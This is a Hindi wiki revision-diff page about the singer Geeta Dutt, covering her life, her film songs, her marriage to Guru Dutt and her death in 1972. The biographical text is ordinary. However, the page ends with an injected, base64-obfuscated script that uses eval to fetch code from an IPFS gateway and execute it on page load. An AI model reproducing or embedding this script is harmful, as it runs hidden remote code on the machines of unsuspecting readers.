गीता दत्त: Difference between revisions
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) (''''गीता दत्त''' (अंग्रेज़ी: ''Geeta Dutt'', 23 नवम्बर 1930 – 20 जुलाई 1972)...' के साथ नया पन्ना बनाया) |
गोविन्द राम (talk | contribs) No edit summary |
||
Line 1: | Line 1: | ||
'''गीता दत्त''' ([[अंग्रेज़ी]]: ''Geeta Dutt'', 23 नवम्बर 1930 – 20 जुलाई 1972) [[भारतीय सिनेमा]] जगत में प्रसिद्ध पार्श्वगायिका जिसने अपनी दिलकश | {{सूचना बक्सा कलाकार | ||
|चित्र=Geeta-dutt.jpg | |||
|चित्र का नाम=गीता दत्त | |||
|पूरा नाम=गीता घोष राय चौधरी | |||
|प्रसिद्ध नाम=गीता दत्त | |||
|अन्य नाम= | |||
|जन्म=[[23 नवम्बर]] [[1930]] | |||
|जन्म भूमि=[[फरीदपुर]], [[बांग्लादेश]] | |||
|मृत्यु= [[20 जुलाई]] [[1972]] (41 वर्ष) | |||
|मृत्यु स्थान= | |||
|अविभावक= | |||
|पति/पत्नी=[[गुरु दत्त]] | |||
|संतान=तीन (तरुण, अरुण और नीना दत्त) | |||
|कर्म भूमि=[[मुम्बई]] | |||
|कर्म-क्षेत्र=पार्श्वगायन | |||
|मुख्य रचनाएँ= | |||
|मुख्य फ़िल्में=[[प्यासा (फ़िल्म)|प्यासा]], सुजाता, साहिब बीबी और ग़ुलाम, बाज़ी, आर-पार, सीआईडी, हावड़ा ब्रिज, कागज़ के फूल | |||
|विषय= | |||
|शिक्षा= | |||
|विद्यालय= | |||
|पुरस्कार-उपाधि= | |||
|प्रसिद्धि= | |||
|विशेष योगदान= | |||
|नागरिकता=भारतीय | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी= | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''गीता दत्त''' ([[अंग्रेज़ी]]: ''Geeta Dutt'', 23 नवम्बर 1930 – 20 जुलाई 1972) [[भारतीय सिनेमा]] जगत में प्रसिद्ध पार्श्वगायिका जिसने अपनी दिलकश आवाज़ से लगभग तीन दशकों तक करोड़ों श्रोताओं को मदहोश किया। कालजयी फ़िल्म ‘[[प्यासा (फ़िल्म)|प्यासा]]’ के अंत में इस फ़िल्म के गीतों को स्वर देने वाली पार्श्वगायिका गीता दत्त के पति प्रसिद्ध अभिनेता, निर्माता-निर्देशक [[गुरु दत्त]] थे। | |||
==जीवन परिचय== | ==जीवन परिचय== | ||
फ़िल्म जगत में गीता दत्त के नाम से मशहूर गीता घोष राय चौधरी का जन्म [[23 नवंबर]] [[1930]] को [[फरीदपुर]] शहर में हुआ। जब वे महज 12 वर्ष की थी तब उनका पूरा परिवार अब [[बांग्लादेश]] में फरीदपुर से [[मुंबई]] आ गया। उनके पिता जमींदार थे। बचपन के दिनों से ही गीता दत्त का रूझान संगीत की ओर था और वह पार्श्वगायिका बनना चाहती थी। गीता दत्त ने अपनी संगीत की प्रारंभिक शिक्षा हनुमान प्रसाद से हासिल की।<ref name="JYI">{{cite web |url=http://in.jagran.yahoo.com/cinemaaza/cinema/memories/201_201_8143.html |title=गीता दत्त: तदबीर से बिगड़ी हुयी तकदीर बना ले |accessmonthday=13 दिसम्बर |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=जागरण याहू इंडिया |language=हिंदी}}</ref> | |||
==सिने कॅरियर की शुरूआत== | ==सिने कॅरियर की शुरूआत== | ||
गीता दत्त को सबसे पहले वर्ष 1946 में | गीता दत्त को सबसे पहले वर्ष 1946 में फ़िल्म 'भक्त प्रहलाद' के लिए गाने का मौका मिला। गीता दत्त ने 'कश्मीर की कली', रसीली, सर्कस किंग (1946) जैसी कुछ फ़िल्मो के लिए भी गीत गाए लेकिन इनमें से कोई भी बॉक्स आफिस पर सफल नही हुई। इस बीच उनकी मुलाकात महान संगीतकार [[एस. डी. बर्मन]] से हुई। गीता राय में एस. डी. बर्मन को फ़िल्म इंडस्ट्री का उभरता हुआ सितारा दिखाई दिया और उन्होंने गीता दत्त से अपनी अगली फ़िल्म 'दो भाई' के लिए गाने की पेशकश की। वर्ष 1947 में प्रदर्शित फ़िल्म 'दो भाई' गीता दत्त के सिने कैरियर की अहम फ़िल्म साबित हुई और इस फ़िल्म में उनका गाया यह गीत 'मेरा सुंदर सपना बीत गया' लोगों के बीच काफी लोकप्रिय हुआ। फ़िल्म 'दो भाई' में अपने गाये इस गीत की कामयाबी की बाद बतौर पार्श्वगायिका गीतादत्त अपनी पहचान बनाने में सफल हो गई।<ref name="JYI"/> | ||
====गुरुदत्त से मुलाकात==== | ====गुरुदत्त से मुलाकात==== | ||
वर्ष 1951 गीता दत्त के सिने कॅरियर के साथ ही व्यक्तिगत जीवन में भी एक नया मोड़ लेकर आया। | वर्ष 1951 गीता दत्त के सिने कॅरियर के साथ ही व्यक्तिगत जीवन में भी एक नया मोड़ लेकर आया। फ़िल्म 'बाजी' के निर्माण के दौरान उनकी मुलाकात निर्देशक [[गुरुदत्त]] से हुई। फ़िल्म के एक गाने 'तदबीर से बिगड़ी हुई तकदीर बना ले' की रिर्काडिंग के दौरान गीता दत्त को देख गुरूदत्त मोहित हो गए। इसके बाद गीता दत्त भी गुरुदत्त से प्यार करने लगी। वर्ष 1953 में गीता दत्त ने गुरुदत्त से शादी कर ली। इसके साथ ही फ़िल्म बाजी की सफलता ने गीता दत्त की तकदीर बना दी और बतौर पार्श्व गायिका वह फ़िल्म इंडस्ट्री में स्थापित हो गई।<ref name="JYI"/> | ||
==गायन प्रतिभा== | ==गायन प्रतिभा== | ||
दिलों की गहराई तक उतर जाने वाली आवाज़ और गाने के दिलकश अंदाज़ की मलिका गीता दत्त भारतीय | दिलों की गहराई तक उतर जाने वाली आवाज़ और गाने के दिलकश अंदाज़ की मलिका गीता दत्त भारतीय फ़िल्म संगीत में पश्चिमी प्रभाव की पहचान थी और वह ऐसी फनकार थी जिन्हें हर तरह के गीत गाने में महारत हासिल थी। गीता दत्त की जादुई आवाज़ सबसे पहले ‘जोगन’ में सुनने को मिली। इस फ़िल्म में उन्होंने मीरा के आर्त्तनाद को उंडेलकर श्रोताओं को विरही बना दिया है। वे खुलकर गाती हैं- ‘मैं तो गिरधर के घर जाऊँ। घूँघट के पट खोल रे तोहे पिया मिलेंगे।‘ और गीता के पिया उससे नौ साल पहले चले गए। वे गाती रहीं - ‘जोगी मत जा, मत जा...।‘ गीता दत्त ने गुरुदत्त की फ़िल्मों में क्या खूब गाया है। गले से नहीं, एकदम दिल से। उनके मन की बेचैनी तथा छटपटाहट एक-एक शब्द से रिसती मिलती है। फ़िल्म चाहे ‘बाजी’ हो या ‘आरपार’, ‘सीआईडी’ हो या ‘प्यासा’, ‘कागज के फूल’ हो या ‘चौदहवीं का चाँद’ उनके स्वर की विविधता का कायल हो जाता है श्रोता। ‘तदबीर से बिगड़ी हुई तकदीर बना ले’ (बाजी), ‘बाबूजी धीरे चलना, प्यार में जरा संभलना...हाँ बड़े धोखे हैं इस प्यार में’। सचमुच उन्होंने प्यार में धोखा खाया। फिर भी गाती रहीं - ‘ये लो मैं हारी पिया, हुई तेरी जीत रे।‘ <ref name="वेबदुनिया"/> | ||
‘साहिब बीबी और ग़ुलाम’ फ़िल्म भले ही छोटी बहू यानी कि [[मीना कुमारी]] की फ़िल्म रही हो, लेकिन छोटी बहू का दर्द, शिकायत, अकेलेपन की पीड़ा, पति की बेवफाई को गीता की आवाज़ ने परदे पर ऐसा उतारा कि मीना अमर हो गईं। ‘न जाओ सैंया, छुड़ा के बैंया, कसम तुम्हारी मैं रो पड़ूँगी।‘ और मीना के साथ सिनेमाघर के अँधेरे में डूबे हजारों दर्शक रोए। गीता दत्त ने हर तरह के गाने गाए हैं। फ़िल्म ‘बाजी’ के गीत ‘जरा सामने आ, जरा आँख मिला’ में श्रोताओं को उन्मादी स्वर मिलते हैं। ‘भाई-भाई’ का गीत ‘ऐ दिल मुझे बता दे, तू किसपे आ गया है’ सुनकर मन प्रेम की सफलता से भर जाता है। ‘[[प्यासा (फ़िल्म)|प्यासा]]’ की गुलाबो का जीवन संगीत सुनकर मन अतृप्त प्यास में खो जाता है- ‘आज सजन मोहे अंग लगा ले, जनम सफल हो जाए।‘ लेकिन गीता ने जिन्दगीभर जिन्दगी का जहर पिया- ‘कैसे कोई जिए, जहर है जिन्दगी।‘ वह शराब का जहर रोजाना गले के नीचे उतारती रहीं और एक दिन सबको अकेला छोड़कर चली गईं।<ref name="वेबदुनिया">{{cite web |url=http://hindi.webdunia.com/%E0%A4%97%E0%A5%80%E0%A4%A4%E0%A4%BE-%E0%A4%A6%E0%A4%A4%E0%A5%8D%E0%A4%A4-%E0%A4%8F%E0%A4%95/%E0%A4%97%E0%A5%80%E0%A4%A4%E0%A4%BE-%E0%A4%A6%E0%A4%A4%E0%A5%8D%E0%A4%A4-%E0%A4%8F%E0%A4%95-%E0%A4%B8%E0%A5%81%E0%A4%A8%E0%A5%8D%E0%A4%A6%E0%A4%B0-%E0%A4%B8%E0%A4%AA%E0%A4%A8%E0%A4%BE-%E0%A4%AC%E0%A5%80%E0%A4%A4-%E0%A4%97%E0%A4%AF%E0%A4%BE-1080721025_1.htm |title=गीता दत्त : एक सुन्दर सपना बीत गया |accessmonthday=13 दिसम्बर |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वेबदुनिया हिंदी |language=हिंदी}}</ref> | |||
==गुरुदत्त से अलगाव== | ==गुरुदत्त से अलगाव== | ||
वर्ष 1957 मे गीता दत्त और गुरुदत्त की विवाहित जिंदगी मे दरार आ गई। गुरुदत्त ने गीता दत्त के काम में दखल देना शुरू कर दिया। वह चाहते थे गीता दत्त केवल उनकी बनाई | वर्ष 1957 मे गीता दत्त और गुरुदत्त की विवाहित जिंदगी मे दरार आ गई। गुरुदत्त ने गीता दत्त के काम में दखल देना शुरू कर दिया। वह चाहते थे गीता दत्त केवल उनकी बनाई फ़िल्म के लिए ही गीत गाये। काम में प्रति समर्पित गीता दत्त तो पहले इस बात के लिये राजी नही हुयी लेकिन बाद में गीता दत्त ने किस्मत से समझौता करना ही बेहतर समझा। धीरे-धीरे अन्य निर्माता निर्देशको ने गीता दत्त से किनारा करना शुरू कर दिया। कुछ दिनों के बाद गीता दत्त अपने पति गुरुदत्त के बढ़ते दखल को बर्दाशत न कर सकी और उसने गुरुदत्त से अलग रहने का निर्णय कर लिया। इस बात की एक मुख्य वजह यह भी रही कि उस समय गुरुदत्त का नाम अभिनेत्री [[वहीदा रहमान]] के साथ भी जोड़ा जा रहा था जिसे गीता दत्त सहन नही कर सकीं। गीता दत्त से जुदाई के बाद गुरुदत्त टूट से गये और उन्होंने अपने आप को शराब के नशे मे डूबो दिया। [[10 अक्तूबर]] [[1964]] को अत्यधिक मात्रा मे नींद की गोलियां लेने के कारण गुरुदत्त इस दुनियां को छोड़कर चले गए। गुरुदत्त की मौत के बाद गीता दत्त को गहरा सदमा पहुंचा और उसने भी अपने आप को नशे में डुबो दिया।<ref name="JYI"/> | ||
==गीता दत्त के सदाबहार गीत== | ==गीता दत्त के सदाबहार गीत== | ||
* खयालों में किसी के इस तरह आया नहीं करते (बावरे नैन : 1950) | * खयालों में किसी के इस तरह आया नहीं करते (बावरे नैन : 1950) | ||
* सुनो गजर क्या गाए ( | * सुनो गजर क्या गाए (बाज़ी : 1951) | ||
* न ये चाँद होगा, न ये तारे रहेंगे (शर्त : 1954) | * न ये चाँद होगा, न ये तारे रहेंगे (शर्त : 1954) | ||
* कैसे कोई जिए, जहर है जिन्दगी (बादबान : 1954) | * कैसे कोई जिए, जहर है जिन्दगी (बादबान : 1954) | ||
Line 23: | Line 56: | ||
* मेरा नाम चिन-चिन चू (हावड़ा ब्रिज : 1958) | * मेरा नाम चिन-चिन चू (हावड़ा ब्रिज : 1958) | ||
* वक्त ने किया क्या हँसीं सितम (कागज के फूल : 1959)<ref name="वेबदुनिया"/> | * वक्त ने किया क्या हँसीं सितम (कागज के फूल : 1959)<ref name="वेबदुनिया"/> | ||
==बांग्ला | ==बांग्ला फ़िल्मों में गायन== | ||
हिन्दी के अलावे गीता दत्त ने कई बांग्ला | हिन्दी के अलावे गीता दत्त ने कई बांग्ला फ़िल्मों के लिए भी गाने गाए। इनमें तुमी जो आमार (हरनो सुर-1957), निशि रात बाका चांद (पृथ्वी आमार छाया-1957), दूरे तुमी आज (इंद्राणी-1958), एई सुंदर स्वर्णलिपि संध्या (हॉस्पिटल-1960), आमी सुनचि तुमारी गान (स्वरलिपि-1961) जैसे गीत श्रोताओं के बीच आज भी लोकप्रिय है।<ref name="JYI"/> | ||
==निधन== | ==निधन== | ||
सत्तर के दशक में गीता दत्त की तबीयत खराब रहने लगी और उन्होंने एक बार फिर से गीत गाना कम कर दिया। लगभग तीन दशक तक अपनी | सत्तर के दशक में गीता दत्त की तबीयत खराब रहने लगी और उन्होंने एक बार फिर से गीत गाना कम कर दिया। लगभग तीन दशक तक अपनी आवाज़ से श्रोताओं को मदहोश करने वाली पार्श्वगायिका गीता दत्त ने अंतत: [[20 जुलाई]] [[1972]] को इस दुनिया से विदाई ले ली। | ||
Revision as of 13:52, 13 December 2012
गीता दत्त
| |
पूरा नाम | गीता घोष राय चौधरी |
प्रसिद्ध नाम | गीता दत्त |
जन्म | 23 नवम्बर 1930 |
जन्म भूमि | फरीदपुर, बांग्लादेश |
मृत्यु | 20 जुलाई 1972 (41 वर्ष) |
पति/पत्नी | गुरु दत्त |
संतान | तीन (तरुण, अरुण और नीना दत्त) |
कर्म भूमि | मुम्बई |
कर्म-क्षेत्र | पार्श्वगायन |
मुख्य फ़िल्में | प्यासा, सुजाता, साहिब बीबी और ग़ुलाम, बाज़ी, आर-पार, सीआईडी, हावड़ा ब्रिज, कागज़ के फूल |
नागरिकता | भारतीय |
गीता दत्त (अंग्रेज़ी: Geeta Dutt, 23 नवम्बर 1930 – 20 जुलाई 1972) भारतीय सिनेमा जगत में प्रसिद्ध पार्श्वगायिका जिसने अपनी दिलकश आवाज़ से लगभग तीन दशकों तक करोड़ों श्रोताओं को मदहोश किया। कालजयी फ़िल्म ‘प्यासा’ के अंत में इस फ़िल्म के गीतों को स्वर देने वाली पार्श्वगायिका गीता दत्त के पति प्रसिद्ध अभिनेता, निर्माता-निर्देशक गुरु दत्त थे।
जीवन परिचय
फ़िल्म जगत में गीता दत्त के नाम से मशहूर गीता घोष राय चौधरी का जन्म 23 नवंबर 1930 को फरीदपुर शहर में हुआ। जब वे महज 12 वर्ष की थी तब उनका पूरा परिवार अब बांग्लादेश में फरीदपुर से मुंबई आ गया। उनके पिता जमींदार थे। बचपन के दिनों से ही गीता दत्त का रूझान संगीत की ओर था और वह पार्श्वगायिका बनना चाहती थी। गीता दत्त ने अपनी संगीत की प्रारंभिक शिक्षा हनुमान प्रसाद से हासिल की।[1]
सिने कॅरियर की शुरूआत
गीता दत्त को सबसे पहले वर्ष 1946 में फ़िल्म 'भक्त प्रहलाद' के लिए गाने का मौका मिला। गीता दत्त ने 'कश्मीर की कली', रसीली, सर्कस किंग (1946) जैसी कुछ फ़िल्मो के लिए भी गीत गाए लेकिन इनमें से कोई भी बॉक्स आफिस पर सफल नही हुई। इस बीच उनकी मुलाकात महान संगीतकार एस. डी. बर्मन से हुई। गीता राय में एस. डी. बर्मन को फ़िल्म इंडस्ट्री का उभरता हुआ सितारा दिखाई दिया और उन्होंने गीता दत्त से अपनी अगली फ़िल्म 'दो भाई' के लिए गाने की पेशकश की। वर्ष 1947 में प्रदर्शित फ़िल्म 'दो भाई' गीता दत्त के सिने कैरियर की अहम फ़िल्म साबित हुई और इस फ़िल्म में उनका गाया यह गीत 'मेरा सुंदर सपना बीत गया' लोगों के बीच काफी लोकप्रिय हुआ। फ़िल्म 'दो भाई' में अपने गाये इस गीत की कामयाबी की बाद बतौर पार्श्वगायिका गीतादत्त अपनी पहचान बनाने में सफल हो गई।[1]
गुरुदत्त से मुलाकात
वर्ष 1951 गीता दत्त के सिने कॅरियर के साथ ही व्यक्तिगत जीवन में भी एक नया मोड़ लेकर आया। फ़िल्म 'बाजी' के निर्माण के दौरान उनकी मुलाकात निर्देशक गुरुदत्त से हुई। फ़िल्म के एक गाने 'तदबीर से बिगड़ी हुई तकदीर बना ले' की रिर्काडिंग के दौरान गीता दत्त को देख गुरूदत्त मोहित हो गए। इसके बाद गीता दत्त भी गुरुदत्त से प्यार करने लगी। वर्ष 1953 में गीता दत्त ने गुरुदत्त से शादी कर ली। इसके साथ ही फ़िल्म बाजी की सफलता ने गीता दत्त की तकदीर बना दी और बतौर पार्श्व गायिका वह फ़िल्म इंडस्ट्री में स्थापित हो गई।[1]
गायन प्रतिभा
दिलों की गहराई तक उतर जाने वाली आवाज़ और गाने के दिलकश अंदाज़ की मलिका गीता दत्त भारतीय फ़िल्म संगीत में पश्चिमी प्रभाव की पहचान थी और वह ऐसी फनकार थी जिन्हें हर तरह के गीत गाने में महारत हासिल थी। गीता दत्त की जादुई आवाज़ सबसे पहले ‘जोगन’ में सुनने को मिली। इस फ़िल्म में उन्होंने मीरा के आर्त्तनाद को उंडेलकर श्रोताओं को विरही बना दिया है। वे खुलकर गाती हैं- ‘मैं तो गिरधर के घर जाऊँ। घूँघट के पट खोल रे तोहे पिया मिलेंगे।‘ और गीता के पिया उससे नौ साल पहले चले गए। वे गाती रहीं - ‘जोगी मत जा, मत जा...।‘ गीता दत्त ने गुरुदत्त की फ़िल्मों में क्या खूब गाया है। गले से नहीं, एकदम दिल से। उनके मन की बेचैनी तथा छटपटाहट एक-एक शब्द से रिसती मिलती है। फ़िल्म चाहे ‘बाजी’ हो या ‘आरपार’, ‘सीआईडी’ हो या ‘प्यासा’, ‘कागज के फूल’ हो या ‘चौदहवीं का चाँद’ उनके स्वर की विविधता का कायल हो जाता है श्रोता। ‘तदबीर से बिगड़ी हुई तकदीर बना ले’ (बाजी), ‘बाबूजी धीरे चलना, प्यार में जरा संभलना...हाँ बड़े धोखे हैं इस प्यार में’। सचमुच उन्होंने प्यार में धोखा खाया। फिर भी गाती रहीं - ‘ये लो मैं हारी पिया, हुई तेरी जीत रे।‘ [2]
‘साहिब बीबी और ग़ुलाम’ फ़िल्म भले ही छोटी बहू यानी कि मीना कुमारी की फ़िल्म रही हो, लेकिन छोटी बहू का दर्द, शिकायत, अकेलेपन की पीड़ा, पति की बेवफाई को गीता की आवाज़ ने परदे पर ऐसा उतारा कि मीना अमर हो गईं। ‘न जाओ सैंया, छुड़ा के बैंया, कसम तुम्हारी मैं रो पड़ूँगी।‘ और मीना के साथ सिनेमाघर के अँधेरे में डूबे हजारों दर्शक रोए। गीता दत्त ने हर तरह के गाने गाए हैं। फ़िल्म ‘बाजी’ के गीत ‘जरा सामने आ, जरा आँख मिला’ में श्रोताओं को उन्मादी स्वर मिलते हैं। ‘भाई-भाई’ का गीत ‘ऐ दिल मुझे बता दे, तू किसपे आ गया है’ सुनकर मन प्रेम की सफलता से भर जाता है। ‘प्यासा’ की गुलाबो का जीवन संगीत सुनकर मन अतृप्त प्यास में खो जाता है- ‘आज सजन मोहे अंग लगा ले, जनम सफल हो जाए।‘ लेकिन गीता ने जिन्दगीभर जिन्दगी का जहर पिया- ‘कैसे कोई जिए, जहर है जिन्दगी।‘ वह शराब का जहर रोजाना गले के नीचे उतारती रहीं और एक दिन सबको अकेला छोड़कर चली गईं।[2]
गुरुदत्त से अलगाव
वर्ष 1957 मे गीता दत्त और गुरुदत्त की विवाहित जिंदगी मे दरार आ गई। गुरुदत्त ने गीता दत्त के काम में दखल देना शुरू कर दिया। वह चाहते थे गीता दत्त केवल उनकी बनाई फ़िल्म के लिए ही गीत गाये। काम में प्रति समर्पित गीता दत्त तो पहले इस बात के लिये राजी नही हुयी लेकिन बाद में गीता दत्त ने किस्मत से समझौता करना ही बेहतर समझा। धीरे-धीरे अन्य निर्माता निर्देशको ने गीता दत्त से किनारा करना शुरू कर दिया। कुछ दिनों के बाद गीता दत्त अपने पति गुरुदत्त के बढ़ते दखल को बर्दाशत न कर सकी और उसने गुरुदत्त से अलग रहने का निर्णय कर लिया। इस बात की एक मुख्य वजह यह भी रही कि उस समय गुरुदत्त का नाम अभिनेत्री वहीदा रहमान के साथ भी जोड़ा जा रहा था जिसे गीता दत्त सहन नही कर सकीं। गीता दत्त से जुदाई के बाद गुरुदत्त टूट से गये और उन्होंने अपने आप को शराब के नशे मे डूबो दिया। 10 अक्तूबर 1964 को अत्यधिक मात्रा मे नींद की गोलियां लेने के कारण गुरुदत्त इस दुनियां को छोड़कर चले गए। गुरुदत्त की मौत के बाद गीता दत्त को गहरा सदमा पहुंचा और उसने भी अपने आप को नशे में डुबो दिया।[1]
गीता दत्त के सदाबहार गीत
- खयालों में किसी के इस तरह आया नहीं करते (बावरे नैन : 1950)
- सुनो गजर क्या गाए (बाज़ी : 1951)
- न ये चाँद होगा, न ये तारे रहेंगे (शर्त : 1954)
- कैसे कोई जिए, जहर है जिन्दगी (बादबान : 1954)
- जाने कहाँ मेरा जिगर गया जी (मिस्टर एंड मिसेस 55 : 1955)
- जाता कहाँ है दीवाने (सीआईडी : 1956)
- ऐ दिल मुझे बता दे, तू किसपे आ गया है (भाई-भाई : 1956)
- आज सजन मोहे अंग लगा ले (प्यासा : 1957)
- मेरा नाम चिन-चिन चू (हावड़ा ब्रिज : 1958)
- वक्त ने किया क्या हँसीं सितम (कागज के फूल : 1959)[2]
बांग्ला फ़िल्मों में गायन
हिन्दी के अलावे गीता दत्त ने कई बांग्ला फ़िल्मों के लिए भी गाने गाए। इनमें तुमी जो आमार (हरनो सुर-1957), निशि रात बाका चांद (पृथ्वी आमार छाया-1957), दूरे तुमी आज (इंद्राणी-1958), एई सुंदर स्वर्णलिपि संध्या (हॉस्पिटल-1960), आमी सुनचि तुमारी गान (स्वरलिपि-1961) जैसे गीत श्रोताओं के बीच आज भी लोकप्रिय है।[1]
निधन
सत्तर के दशक में गीता दत्त की तबीयत खराब रहने लगी और उन्होंने एक बार फिर से गीत गाना कम कर दिया। लगभग तीन दशक तक अपनी आवाज़ से श्रोताओं को मदहोश करने वाली पार्श्वगायिका गीता दत्त ने अंतत: 20 जुलाई 1972 को इस दुनिया से विदाई ले ली।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 1.3 1.4 गीता दत्त: तदबीर से बिगड़ी हुयी तकदीर बना ले (हिंदी) (एच.टी.एम.एल) जागरण याहू इंडिया। अभिगमन तिथि: 13 दिसम्बर, 2012।
- ↑ 2.0 2.1 2.2 गीता दत्त : एक सुन्दर सपना बीत गया (हिंदी) (एच.टी.एम.एल) वेबदुनिया हिंदी। अभिगमन तिथि: 13 दिसम्बर, 2012।
बाहरी कड़ियाँ
- आधिकारिक वेबसाइट
- गीता दत्त : जन्मजात कलाकार
- गीता दत्त के भूले-बिसरे गीत
- गीता दत्त-वक्त ने किया क्या हसीं सितम…23 नवंबर जन्मदिन पर विशेष
- गीता दत्त और प्रेम गीतों की भाषा
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>